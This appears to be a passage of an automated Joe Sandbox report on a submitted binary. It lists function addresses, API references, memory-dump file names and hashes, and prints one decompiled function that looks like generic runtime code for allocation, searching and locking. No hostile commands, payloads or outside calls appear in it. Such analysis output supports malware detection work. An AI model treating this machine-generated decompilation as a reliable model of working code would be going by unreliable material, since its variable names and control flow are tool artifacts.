Download Yara Rule

APIs

localeconv.MSVCRT ref: 0043ECCA
strlen.MSVCRT ref: 0043ECD4

Strings

, xrefs: 0044021A
!, xrefs: 00440820
5, xrefs: 0043F276

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5
API String ID: 186660782-3060263202
Opcode ID: f6e29e56ff1647ed23594320d276f4115e42c13eceb6d1cf17af92131d926e2e
Instruction ID: 57ab478824dad7429913ef427249e6b06245bb83e35edead7c9e736b1cbe7927
Opcode Fuzzy Hash: f6e29e56ff1647ed23594320d276f4115e42c13eceb6d1cf17af92131d926e2e
Instruction Fuzzy Hash: CFE23671A097418FE720DF28C58476BBBE1FF88304F15892EE98987351E779E849CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0043D410 Relevance: 16.4, APIs: 7, Strings: 2, Instructions: 650stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 0043D41F
strlen.MSVCRT ref: 0043D42F
isspace.MSVCRT ref: 0043D467
_strnicmp.MSVCRT ref: 0043D4E6
_strnicmp.MSVCRT ref: 0043D50A
_strnicmp.MSVCRT ref: 0043D57A

Strings

@, xrefs: 0043DC87
P, xrefs: 0043DC7F

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: _strnicmp$isspacelocaleconvstrlen
String ID: @$P
API String ID: 1481374036-358147200
Opcode ID: 1d07bd640f32fcdf303bc19d92f1dac0dec9b89d6da65da4a93a3af26b1515ae
Instruction ID: 0bab74b11432d2a8a47042115f69017412e95ccd325414e4ba85cbeb179947de
Opcode Fuzzy Hash: 1d07bd640f32fcdf303bc19d92f1dac0dec9b89d6da65da4a93a3af26b1515ae
Instruction Fuzzy Hash: 015226B0D043188BDB20DFA9C48479EBBF1BF48304F15852EE899AB381E7799946CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043BBA0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 538
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E0043BBA0(signed int __eax, signed int __edx, void* __edi) {
				signed char _t254;
				signed int _t256;
				void* _t266;
				void* _t268;
				signed int _t271;
				unsigned short _t274;
				signed char _t275;
				void* _t285;
				signed int _t288;
				signed int _t290;
				signed int _t292;
				signed int _t296;
				signed int _t298;
				signed int _t302;
				signed int _t305;
				signed int _t306;
				signed int _t310;
				int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t321;
				signed int _t322;
				signed int _t335;
				signed int _t342;
				signed int _t347;
				void* _t349;
				signed int _t357;
				void* _t363;
				signed int _t365;
				signed int _t366;
				signed int _t370;
				signed int _t373;
				signed int _t374;
				signed int* _t376;
				signed int _t377;
				signed int _t378;
				signed int _t380;
				signed int _t383;
				void* _t385;
				signed int _t389;
				signed int _t392;
				signed int _t394;
				signed int _t398;
				intOrPtr _t399;
				signed int _t402;
				signed int _t412;
				signed int _t415;
				signed int _t419;
				signed int _t420;
				signed int _t427;
				signed int _t429;
				void* _t430;
				intOrPtr _t431;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t438;
				signed int _t440;
				signed int _t443;
				signed int _t445;
				intOrPtr _t446;
				signed int _t450;
				signed int _t452;
				signed int _t454;
				void* _t455;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t461;
				signed int _t463;
				signed int _t464;
				signed int _t466;
				signed int _t468;
				signed int _t469;
				void* _t470;
				void* _t471;
				signed int* _t472;
				signed int* _t475;

				_t427 = __eax;
				_t472 = _t471 - 0x4c;
				_t254 =  *(__eax + 0x10) & 0x000000ff;
				_t472[5] = __edx;
				if((_t254 & 0x00000001) == 0) {
					_t438 =  *(__eax + 0x10) >> 0xb;
					__eflags = _t438;
					_t472[8] = _t438;
					if(_t438 != 0) {
						L48:
						_t365 = 8 + _t472[8] * 4;
						 *_t472 = _t365;
						_t256 = malloc(??);
						_t472[0xe] = _t256;
						__eflags = _t256;
						if(_t256 == 0) {
							goto L33;
						} else {
							 *(_t256 + 4) = 0;
							 *_t472 = _t365;
							_t298 = malloc(??);
							_t472[0xf] = _t298;
							__eflags = _t298;
							if(_t298 != 0) {
								 *(_t298 + 4) = 0;
							}
							_t373 =  *(_t427 + 0xc);
							__eflags =  *(_t427 + 0x10) & 0x00000002;
							if(( *(_t427 + 0x10) & 0x00000002) == 0) {
								_t392 = _t373;
								_t415 =  &(_t472[0xe]);
								E0043B8E0(_t427, _t392, _t415);
								goto L55;
							} else {
								_t392 =  *_t373;
								__eflags = _t392;
								if(_t392 == 0) {
									L100:
									abort();
									_push(_t438);
									_push(_t373);
									_t374 = _t415;
									_t475 = _t472 - 0x14;
									 *_t415 = 0xffffffff;
									 *(_t415 + 4) = _t392;
									 *(_t374 + 0xc) = _t298;
									_t310 =  *0x528234; // 0x2
									 *(_t374 + 8) = _t475[8];
									 *(_t374 + 0x10) = 0x7f8;
									__eflags = _t310;
									if(_t310 == 0) {
										L109:
										_t311 =  *0x57d418;
										 *0x57d418 = _t374;
										 *(_t374 + 0x14) = _t311;
									} else {
										_t450 =  *0x528240; // 0x1
										__eflags = _t450;
										if(__eflags == 0) {
											asm("lock add dword [0x528244], 0x1");
											if(__eflags != 0) {
												_t394 =  *0x528240; // 0x1
												__eflags = _t394;
												if(_t394 == 0) {
													do {
														 *_t475 = 0;
														Sleep(??);
														_t420 =  *0x528240; // 0x1
														_t475 = _t475 - 4;
														__eflags = _t420;
													} while (_t420 == 0);
												}
											} else {
												E0043B420();
												 *0x528240 = 1;
											}
											_t312 =  *0x528234; // 0x2
											__eflags = _t312;
											if(_t312 != 0) {
												goto L102;
											} else {
												goto L109;
											}
										} else {
											L102:
											asm("lock xadd [0x57d40c], eax");
											_t419 =  *0x528234; // 0x2
											__eflags = 1 - 0xffffffff;
											if(1 != 0xffffffff) {
												_t475[1] = 0xffffffff;
												 *_t475 =  *0x57d410;
												_t315 = WaitForSingleObject(??, ??);
												_t475 = _t475 - 8;
												__eflags = _t315;
												if(_t315 != 0) {
													asm("lock sub dword [0x57d40c], 0x1");
												}
												_t419 =  *0x528234; // 0x2
											}
											_t311 =  *0x57d418;
											 *0x57d418 = _t374;
											 *(_t374 + 0x14) = _t311;
											__eflags = _t419;
											if(_t419 != 0) {
												asm("lock xadd [0x57d40c], eax");
												_t311 = 0xfffffffffffffffe;
												__eflags = 0xffffffff;
												if(0xffffffff >= 0) {
													_t475[2] = 0;
													_t475[1] = 1;
													 *_t475 =  *0x57d410;
													_t311 = ReleaseSemaphore(??, ??, ??);
													_t475 = _t475 - 0xc;
												}
											}
										}
									}
									return _t311;
								} else {
									_t458 =  &(_t472[0xe]);
									do {
										_t415 = _t458;
										_t373 = _t373 + 4;
										E0043B8E0(_t427, _t392, _t415);
										_t392 =  *_t373;
										__eflags = _t392;
									} while (_t392 != 0);
									L55:
									_t438 = _t472[0xe];
									_t472[0xa] = _t438;
									__eflags = _t438;
									if(_t438 == 0) {
										L57:
										_t472[4] = 0x43bb20;
										__eflags =  *(_t427 + 0x10) & 0x00000004;
										if(( *(_t427 + 0x10) & 0x00000004) == 0) {
											__eflags =  *(_t427 + 0x10) & 0x000007f8;
											_t353 =  ==  ? 0x43b2a0 : 0x43b630;
											_t472[4] =  ==  ? 0x43b2a0 : 0x43b630;
										}
										_t302 = _t472[0xf];
										_t472[6] = _t302;
										__eflags = _t302;
										if(_t302 == 0) {
											E0043B380(_t427, _t438, _t472[4]);
											goto L90;
										} else {
											_t306 =  *(_t438 + 4);
											_t472[0xb] = _t306;
											__eflags = _t306;
											if(_t306 == 0) {
												_t392 = _t472[6];
												_t415 = 0;
												_t373 = 0;
											} else {
												_t378 = 0x57d408;
												_t472[9] = 4 + _t306 * 4;
												_t472[7] = _t438 + 8;
												_t455 = 8;
												_t468 = _t438;
												while(1) {
													 *(_t472[6] + _t455) = _t378;
													_t378 = _t468 + _t455;
													__eflags = _t472[9] - _t455;
													if(_t472[9] == _t455) {
														break;
													}
													__eflags = _t378 - 0x57d408;
													if(_t378 == 0x57d408) {
														L70:
														_t378 = 0x57d408;
													} else {
														_t470 = _t455;
														_t457 = _t468;
														while(1) {
															_t472[2] =  *_t378;
															 *_t472 = _t427;
															_t472[1] =  *(_t457 + _t470 + 4);
															_t347 =  *(_t472[4])();
															__eflags = _t347;
															if(_t347 >= 0) {
																break;
															}
															_t349 = _t472[6] + _t378 - _t472[7];
															_t378 =  *(_t349 + 8);
															 *(_t349 + 8) = 0;
															__eflags = _t378 - 0x57d408;
															if(_t378 == 0x57d408) {
																_t455 = _t470;
																_t468 = _t457;
																goto L70;
															} else {
																continue;
															}
															goto L68;
														}
														_t455 = _t470;
														_t468 = _t457;
													}
													L68:
													_t455 = _t455 + 4;
												}
												_t456 = _t468;
												_t472[7] = _t427;
												_t415 = 0;
												_t373 = 0;
												_t342 = 0;
												_t469 = _t472[0xb];
												_t435 = _t472[6];
												do {
													__eflags =  *(_t435 + 8 + _t342 * 4);
													_t399 =  *((intOrPtr*)(_t456 + 8 + _t342 * 4));
													if( *(_t435 + 8 + _t342 * 4) != 0) {
														 *((intOrPtr*)(_t456 + 8 + _t373 * 4)) = _t399;
														_t373 = _t373 + 1;
														__eflags = _t373;
													} else {
														 *((intOrPtr*)(_t435 + 8 + _t415 * 4)) = _t399;
														_t415 = _t415 + 1;
													}
													_t342 = _t342 + 1;
													__eflags = _t469 - _t342;
												} while (_t469 != _t342);
												_t427 = _t472[7];
												_t392 = _t472[0xf];
												_t438 = _t472[0xe];
											}
											 *(_t472[0xa] + 4) = _t373;
											 *(_t472[6] + 4) = _t415;
											_t298 =  *((intOrPtr*)(_t392 + 4)) +  *(_t438 + 4);
											__eflags = _t298 - _t472[8];
											if(_t298 != _t472[8]) {
												goto L100;
											} else {
												E0043B380(_t427, _t392, _t472[4]);
												_t321 = _t472[0xf];
												_t472[9] = _t321;
												_t322 =  *(_t321 + 4);
												__eflags = _t322;
												if(_t322 != 0) {
													_t466 = _t472[0xe];
													_t472[7] = _t427;
													_t433 =  *(_t466 + 4);
													while(1) {
														L80:
														_t183 = _t322 - 1; // -1
														_t472[8] = _t183;
														_t376 = _t472[9] + _t322 * 4;
														_t472[6] = _t376[1];
														__eflags = _t433;
														if(_t433 == 0) {
															goto L97;
														}
														_t191 = _t433 - 1; // -1
														_t454 = _t433;
														_t434 = _t322 + _t191;
														while(1) {
															_t199 = _t454 - 1; // -2
															_t377 = _t199;
															_t472[2] = _t472[6];
															_t472[1] =  *(_t466 + 8 + _t377 * 4);
															 *_t472 = _t472[7];
															_t335 =  *(_t472[4])();
															__eflags = _t335;
															if(_t335 <= 0) {
																break;
															}
															_t454 = _t377;
															 *(_t466 + 8 + _t434 * 4) =  *(_t466 + 8 + _t377 * 4);
															_t434 = _t434 - 1;
															__eflags = _t377;
															if(_t377 == 0) {
																_t433 = _t377;
																_t452 = _t472[8];
															} else {
																continue;
															}
															L85:
															 *(_t466 + 8 + _t452 * 4) = _t472[6];
															__eflags = _t472[8];
															if(_t472[8] != 0) {
																_t322 = _t472[8];
																goto L80;
															}
															L88:
															_t427 = _t472[7];
															_t217 = _t466 + 4;
															 *_t217 =  *(_t466 + 4) +  *((intOrPtr*)(_t472[9] + 4));
															__eflags =  *_t217;
															_t472[9] = _t472[0xf];
															goto L89;
														}
														_t433 = _t454;
														_t452 = _t434;
														goto L85;
														L97:
														_t235 = _t322 - 1; // -1
														_t398 = _t235;
														 *(_t466 + 8 + _t398 * 4) = _t472[6];
														__eflags = _t398;
														if(_t398 == 0) {
															goto L88;
														} else {
															_t239 = _t322 - 2; // -2
															_t452 = _t239;
															_t472[8] = _t452;
															_t472[6] =  *_t376;
															goto L85;
														}
														L90:
														_t305 = _t472[0xe];
														 *_t305 =  *(_t427 + 0xc);
														 *(_t427 + 0xc) = _t305;
														 *(_t427 + 0x10) =  *(_t427 + 0x10) | 0x00000001;
														goto L33;
													}
												}
												L89:
												 *_t472 = _t472[9];
												free(??);
												goto L90;
											}
										}
									} else {
										_t298 = _t472[8];
										__eflags =  *(_t438 + 4) - _t298;
										if( *(_t438 + 4) != _t298) {
											goto L100;
										} else {
											goto L57;
										}
									}
								}
							}
						}
					} else {
						_t380 =  *(__eax + 0xc);
						__eflags = _t254 & 0x00000002;
						if((_t254 & 0x00000002) == 0) {
							_t415 = _t380;
							_t357 = E0043B790(__eax, _t415);
							_t472[8] = _t357;
							__eflags = _t357 - 0xffffffff;
							if(_t357 == 0xffffffff) {
								goto L18;
							} else {
								goto L30;
							}
						} else {
							_t425 =  *_t380;
							__eflags =  *_t380;
							if( *_t380 != 0) {
								while(1) {
									_t363 = E0043B790(_t427, _t425);
									__eflags = _t363 - 0xffffffff;
									if(_t363 == 0xffffffff) {
										break;
									}
									_t380 = _t380 + 4;
									_t415 =  *_t380;
									_t438 = _t438 + _t363;
									__eflags = _t415;
									if(_t415 == 0) {
										_t472[8] = _t438;
										L30:
										__eflags = _t472[8] & 0xffe00000;
										if((_t472[8] & 0xffe00000) == 0) {
											_t415 = _t472[8] << 0xb;
											 *(_t427 + 0x10) =  *(_t427 + 0x10) & 0x000007ff | _t415;
										} else {
											_t72 = _t427 + 0x10;
											 *_t72 =  *(_t427 + 0x10) & 0x000007ff;
											__eflags =  *_t72;
										}
										__eflags = _t472[8];
										if(_t472[8] != 0) {
											goto L48;
										} else {
											goto L33;
										}
									} else {
										continue;
									}
									goto L117;
								}
								L18:
								 *(_t427 + 0x10) = 0x7f8;
								 *(_t427 + 0xc) = 0x53920c;
								goto L33;
							} else {
								L33:
								__eflags =  *_t427 - _t472[5];
								if( *_t427 > _t472[5]) {
									goto L10;
								} else {
									_t254 =  *(_t427 + 0x10) & 0x000000ff;
									_t440 =  *(_t427 + 0xc);
									__eflags = _t254 & 0x00000001;
									if((_t254 & 0x00000001) != 0) {
										goto L1;
									} else {
										__eflags = _t254 & 0x00000002;
										if((_t254 & 0x00000002) == 0) {
											_t366 = E0043B9F0(_t427, _t472[5], _t440);
											goto L11;
										} else {
											_t414 =  *_t440;
											__eflags =  *_t440;
											if( *_t440 == 0) {
												goto L10;
											} else {
												_t464 = _t472[5];
												while(1) {
													_t296 = E0043B9F0(_t427, _t464, _t414);
													__eflags = _t296;
													if(_t296 != 0) {
														break;
													}
													_t440 = _t440 + 4;
													_t414 =  *_t440;
													__eflags =  *_t440;
													if( *_t440 == 0) {
														goto L10;
													} else {
														continue;
													}
													goto L117;
												}
												return _t296;
											}
										}
									}
								}
							}
						}
					}
				} else {
					L1:
					_t402 =  *(_t427 + 0xc);
					_t472[4] = _t402;
					_t461 =  *(_t402 + 4);
					if((_t254 & 0x00000004) != 0) {
						__eflags = _t461;
						if(_t461 != 0) {
							_t472[7] = 0;
							_t472[9] =  &(_t472[0xe]);
							_t472[8] =  &(_t472[0xd]);
							_t472[6] = _t461;
							_t472[0xa] = _t427;
							do {
								_t443 = _t472[6] + _t472[7] >> 1;
								_t429 =  *((intOrPtr*)(_t472[4] + 8 + _t443 * 4));
								_t59 = _t429 + 4; // 0x4485f4
								_t60 = _t429 + 4; // 0x20247c83
								_t266 = E0043B4B0(E0043B6A0(_t59 -  *_t60) & 0x000000ff, _t472[0xa]);
								_t63 = _t429 + 8; // 0x4485f8
								 *_t472 = _t472[8];
								_t268 = E0043B4F0(E0043B6A0(_t59 -  *_t60) & 0x000000ff, _t63, _t266);
								 *_t472 = _t472[9];
								E0043B4F0(_t264 & 0x0000000f, _t268, 0);
								_t271 = _t472[0xd];
								_t383 = _t472[5];
								__eflags = _t271 - _t383;
								if(_t271 <= _t383) {
									__eflags = _t271 + _t472[0xe] - _t383;
									if(_t271 + _t472[0xe] > _t383) {
										_t366 = _t429;
									} else {
										_t49 = _t443 + 1; // 0x1
										_t472[7] = _t49;
										goto L26;
									}
								} else {
									_t472[6] = _t443;
									goto L26;
								}
								goto L11;
								L26:
								__eflags = _t472[7] - _t472[6];
							} while (_t472[7] < _t472[6]);
						}
						goto L10;
					} else {
						_t274 =  *(_t427 + 0x10) & 0x0000ffff;
						_t385 = 0;
						if((_t274 & 0x000007f8) != 0) {
							_t275 = _t274 >> 3;
							_t370 = _t275;
							_t472[6] = _t275 & 0x000000ff;
							_t472[7] = E0043B4B0(_t275 & 0x000000ff, _t427);
							__eflags = _t461;
							if(_t461 != 0) {
								_t430 = 0;
								_t472[0xa] = _t370 & 0x0000000f;
								_t472[9] =  &(_t472[0xe]);
								_t472[8] =  &(_t472[0xd]);
								do {
									_t445 = _t461 + _t430 >> 1;
									_t366 =  *((intOrPtr*)(_t472[4] + 8 + _t445 * 4));
									 *_t472 = _t472[8];
									_t100 = _t366 + 8; // 0x4485f8
									_t285 = E0043B4F0(_t472[6], _t100, _t472[7]);
									 *_t472 = _t472[9];
									E0043B4F0(_t472[0xa], _t285, 0);
									_t288 = _t472[0xd];
									_t389 = _t472[5];
									__eflags = _t288 - _t389;
									if(_t288 <= _t389) {
										__eflags = _t288 + _t472[0xe] - _t389;
										if(_t288 + _t472[0xe] <= _t389) {
											_t430 = _t445 + 1;
											goto L45;
										}
									} else {
										_t461 = _t445;
										goto L45;
									}
									goto L11;
									L45:
									__eflags = _t430 - _t461;
								} while (_t430 < _t461);
							}
							goto L10;
						} else {
							_t472[6] = _t461;
							_t463 = _t472[4];
							while(1) {
								_t290 = _t472[6];
								if(_t385 >= _t290) {
									break;
								}
								_t412 = _t385 + _t290 >> 1;
								_t366 =  *((intOrPtr*)(_t463 + 8 + _t412 * 4));
								_t20 = _t366 + 8; // 0x244c8b01
								_t446 =  *_t20;
								_t21 = _t366 + 0xc; // 0xf0277724
								_t431 =  *_t21;
								if(_t472[5] < _t446) {
									while(1) {
										__eflags = _t412 - _t385;
										if(_t412 <= _t385) {
											goto L10;
										}
										_t292 = _t412 + _t385 >> 1;
										_t366 =  *((intOrPtr*)(_t463 + 8 + _t292 * 4));
										_t27 = _t366 + 8; // 0x244c8b01
										_t446 =  *_t27;
										_t28 = _t366 + 0xc; // 0xf0277724
										_t431 =  *_t28;
										__eflags = _t472[5] - _t446;
										if(_t472[5] >= _t446) {
											goto L20;
										} else {
											_t412 = _t292;
											continue;
										}
										goto L11;
									}
									break;
								} else {
									_t292 = _t412;
									_t412 = _t472[6];
									L20:
									if(_t472[5] >= _t446 + _t431) {
										_t385 = _t292 + 1;
										_t472[6] = _t412;
										continue;
									}
								}
								goto L11;
							}
							L10:
							_t366 = 0;
							__eflags = 0;
						}
					}
					L11:
					return _t366;
				}
				L117:
			}

0x0043bba2
0x0043bba6
0x0043bba9
0x0043bbad
0x0043bbb3
0x0043bc33
0x0043bc33
0x0043bc36
0x0043bc3a
0x0043beb0
0x0043beb4
0x0043bebb
0x0043bebe
0x0043bec3
0x0043bec7
0x0043bec9
0x00000000
0x0043becf
0x0043becf
0x0043bed6
0x0043bed9
0x0043bede
0x0043bee2
0x0043bee4
0x0043bee6
0x0043bee6
0x0043beed
0x0043bef0
0x0043bef4
0x0043c1a4
0x0043c1a6
0x0043c1aa
0x00000000
0x0043befa
0x0043befa
0x0043befc
0x0043befe
0x0043c215
0x0043c215
0x0043c220
0x0043c221
0x0043c222
0x0043c224
0x0043c227
0x0043c22d
0x0043c234
0x0043c237
0x0043c23c
0x0043c23f
0x0043c246
0x0043c248
0x0043c2e6
0x0043c2e6
0x0043c2eb
0x0043c2f1
0x0043c24e
0x0043c24e
0x0043c254
0x0043c256
0x0043c2c0
0x0043c2c8
0x0043c330
0x0043c33c
0x0043c33e
0x0043c340
0x0043c340
0x0043c347
0x0043c349
0x0043c34f
0x0043c352
0x0043c352
0x0043c356
0x0043c2ca
0x0043c2ca
0x0043c2cf
0x0043c2cf
0x0043c2d9
0x0043c2de
0x0043c2e0
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c258
0x0043c258
0x0043c25d
0x0043c265
0x0043c26b
0x0043c26e
0x0043c305
0x0043c30d
0x0043c310
0x0043c316
0x0043c319
0x0043c31b
0x0043c360
0x0043c360
0x0043c31d
0x0043c31d
0x0043c274
0x0043c279
0x0043c27f
0x0043c282
0x0043c284
0x0043c28b
0x0043c293
0x0043c293
0x0043c296
0x0043c29d
0x0043c2a5
0x0043c2ad
0x0043c2b0
0x0043c2b6
0x0043c2b6
0x0043c296
0x0043c284
0x0043c256
0x0043c2f9
0x0043bf04
0x0043bf04
0x0043bf10
0x0043bf10
0x0043bf14
0x0043bf17
0x0043bf1c
0x0043bf1e
0x0043bf1e
0x0043bf22
0x0043bf22
0x0043bf26
0x0043bf2a
0x0043bf2c
0x0043bf3b
0x0043bf3b
0x0043bf43
0x0043bf47
0x0043bf49
0x0043bf59
0x0043bf5c
0x0043bf5c
0x0043bf60
0x0043bf64
0x0043bf68
0x0043bf6a
0x0043c1bc
0x00000000
0x0043bf70
0x0043bf70
0x0043bf73
0x0043bf77
0x0043bf79
0x0043c208
0x0043c20c
0x0043c20e
0x0043bf7f
0x0043bf8b
0x0043bf90
0x0043bf97
0x0043bf9d
0x0043bf9f
0x0043bfa1
0x0043bfa5
0x0043bfa8
0x0043bfac
0x0043bfb0
0x00000000
0x00000000
0x0043bfb2
0x0043bfb8
0x0043c00a
0x0043c00a
0x0043bfba
0x0043bfbc
0x0043bfbe
0x0043bfde
0x0043bfe0
0x0043bfe8
0x0043bfeb
0x0043bff3
0x0043bff5
0x0043bff7
0x00000000
0x00000000
0x0043bfca
0x0043bfcc
0x0043bfcf
0x0043bfd6
0x0043bfdc
0x0043c006
0x0043c008
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bfdc
0x0043bffb
0x0043bffd
0x0043bffd
0x0043bfff
0x0043bfff
0x0043bfff
0x0043c011
0x0043c013
0x0043c017
0x0043c019
0x0043c01b
0x0043c01d
0x0043c021
0x0043c03e
0x0043c03e
0x0043c043
0x0043c047
0x0043c030
0x0043c034
0x0043c034
0x0043c049
0x0043c049
0x0043c04d
0x0043c04d
0x0043c037
0x0043c03a
0x0043c03a
0x0043c052
0x0043c056
0x0043c05a
0x0043c05a
0x0043c062
0x0043c069
0x0043c06f
0x0043c072
0x0043c076
0x00000000
0x0043c07c
0x0043c082
0x0043c087
0x0043c08b
0x0043c08f
0x0043c092
0x0043c094
0x0043c09a
0x0043c09e
0x0043c0a5
0x0043c0b0
0x0043c0b0
0x0043c0b0
0x0043c0b3
0x0043c0bb
0x0043c0c1
0x0043c0c5
0x0043c0c7
0x00000000
0x00000000
0x0043c0cd
0x0043c0d3
0x0043c0d5
0x0043c0f1
0x0043c0f5
0x0043c0f5
0x0043c0f8
0x0043c100
0x0043c108
0x0043c10f
0x0043c111
0x0043c113
0x00000000
0x00000000
0x0043c0e4
0x0043c0e6
0x0043c0ea
0x0043c0ed
0x0043c0ef
0x0043c134
0x0043c136
0x00000000
0x00000000
0x00000000
0x0043c11b
0x0043c11f
0x0043c127
0x0043c129
0x0043c12b
0x00000000
0x0043c12b
0x0043c140
0x0043c144
0x0043c14b
0x0043c14b
0x0043c14b
0x0043c152
0x00000000
0x0043c152
0x0043c117
0x0043c119
0x00000000
0x0043c1e3
0x0043c1e7
0x0043c1e7
0x0043c1ea
0x0043c1ee
0x0043c1f0
0x00000000
0x0043c1f6
0x0043c1f6
0x0043c1f6
0x0043c1fb
0x0043c1ff
0x00000000
0x0043c1ff
0x0043c162
0x0043c162
0x0043c169
0x0043c16b
0x0043c16e
0x00000000
0x0043c16e
0x0043c0b0
0x0043c156
0x0043c15a
0x0043c15d
0x00000000
0x0043c15d
0x0043c076
0x0043bf2e
0x0043bf2e
0x0043bf32
0x0043bf35
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bf35
0x0043bf2c
0x0043befe
0x0043bef4
0x0043bc40
0x0043bc40
0x0043bc43
0x0043bc45
0x0043bd70
0x0043bd74
0x0043bd79
0x0043bd7d
0x0043bd80
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc4b
0x0043bc4b
0x0043bc4d
0x0043bc4f
0x0043bc6f
0x0043bc71
0x0043bc76
0x0043bc79
0x00000000
0x00000000
0x0043bc60
0x0043bc63
0x0043bc65
0x0043bc67
0x0043bc69
0x0043c194
0x0043bd86
0x0043bd86
0x0043bd8e
0x0043c1ca
0x0043c1d4
0x0043bd94
0x0043bd94
0x0043bd94
0x0043bd94
0x0043bd94
0x0043bd9f
0x0043bda1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc69
0x0043bc7b
0x0043bc7b
0x0043bc82
0x00000000
0x0043bc51
0x0043bda7
0x0043bdab
0x0043bdad
0x00000000
0x0043bdb3
0x0043bdb3
0x0043bdb7
0x0043bdba
0x0043bdbc
0x00000000
0x0043bdc2
0x0043bdc2
0x0043bdc4
0x0043c18d
0x00000000
0x0043bdca
0x0043bdca
0x0043bdcc
0x0043bdce
0x00000000
0x0043bdd4
0x0043bdd4
0x0043bded
0x0043bdf1
0x0043bdf6
0x0043bdf8
0x00000000
0x00000000
0x0043bde0
0x0043bde3
0x0043bde5
0x0043bde7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bde7
0x0043be05
0x0043be05
0x0043bdce
0x0043bdc4
0x0043bdbc
0x0043bdad
0x0043bc4f
0x0043bc45
0x0043bbb5
0x0043bbb5
0x0043bbb5
0x0043bbb8
0x0043bbbc
0x0043bbc1
0x0043bcb0
0x0043bcb2
0x0043bcbc
0x0043bcc4
0x0043bccc
0x0043bcd0
0x0043bcd4
0x0043bd01
0x0043bd0d
0x0043bd0f
0x0043bd13
0x0043bd16
0x0043bd2c
0x0043bd35
0x0043bd38
0x0043bd3f
0x0043bd4c
0x0043bd51
0x0043bd56
0x0043bd5a
0x0043bd5e
0x0043bd60
0x0043bce4
0x0043bce6
0x0043c1dc
0x0043bcec
0x0043bcec
0x0043bcef
0x00000000
0x0043bcef
0x0043bd66
0x0043bd66
0x00000000
0x0043bd66
0x00000000
0x0043bcf3
0x0043bcf7
0x0043bcf7
0x0043bd01
0x00000000
0x0043bbc7
0x0043bbc7
0x0043bbcb
0x0043bbd1
0x0043be10
0x0043be16
0x0043be1b
0x0043be24
0x0043be28
0x0043be2a
0x0043be32
0x0043be37
0x0043be3f
0x0043be47
0x0043be67
0x0043be73
0x0043be75
0x0043be7d
0x0043be84
0x0043be87
0x0043be92
0x0043be9b
0x0043bea0
0x0043bea4
0x0043bea8
0x0043beaa
0x0043be54
0x0043be56
0x0043be5c
0x00000000
0x0043be5c
0x0043beac
0x0043beac
0x00000000
0x0043beac
0x00000000
0x0043be5f
0x0043be5f
0x0043be5f
0x0043be67
0x00000000
0x0043bbd7
0x0043bbd7
0x0043bbdb
0x0043bbdf
0x0043bbdf
0x0043bbe5
0x00000000
0x00000000
0x0043bbea
0x0043bbec
0x0043bbf0
0x0043bbf0
0x0043bbf3
0x0043bbf3
0x0043bbfa
0x0043bc18
0x0043bc18
0x0043bc1a
0x00000000
0x00000000
0x0043bc04
0x0043bc06
0x0043bc0a
0x0043bc0a
0x0043bc0d
0x0043bc0d
0x0043bc10
0x0043bc14
0x00000000
0x0043bc16
0x0043bc16
0x00000000
0x0043bc16
0x00000000
0x0043bc14
0x00000000
0x0043bbfc
0x0043bc8e
0x0043bc90
0x0043bc94
0x0043bc9a
0x0043bc9c
0x0043bc9f
0x00000000
0x0043bc9f
0x0043bc9a
0x00000000
0x0043bbfa
0x0043bc1c
0x0043bc1c
0x0043bc1c
0x0043bc1c
0x0043bbd1
0x0043bc1e
0x0043bc27
0x0043bc27
0x00000000

APIs

malloc.MSVCRT ref: 0043BEBE
malloc.MSVCRT ref: 0043BED9

Strings

L;L, xrefs: 0043BBA4

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

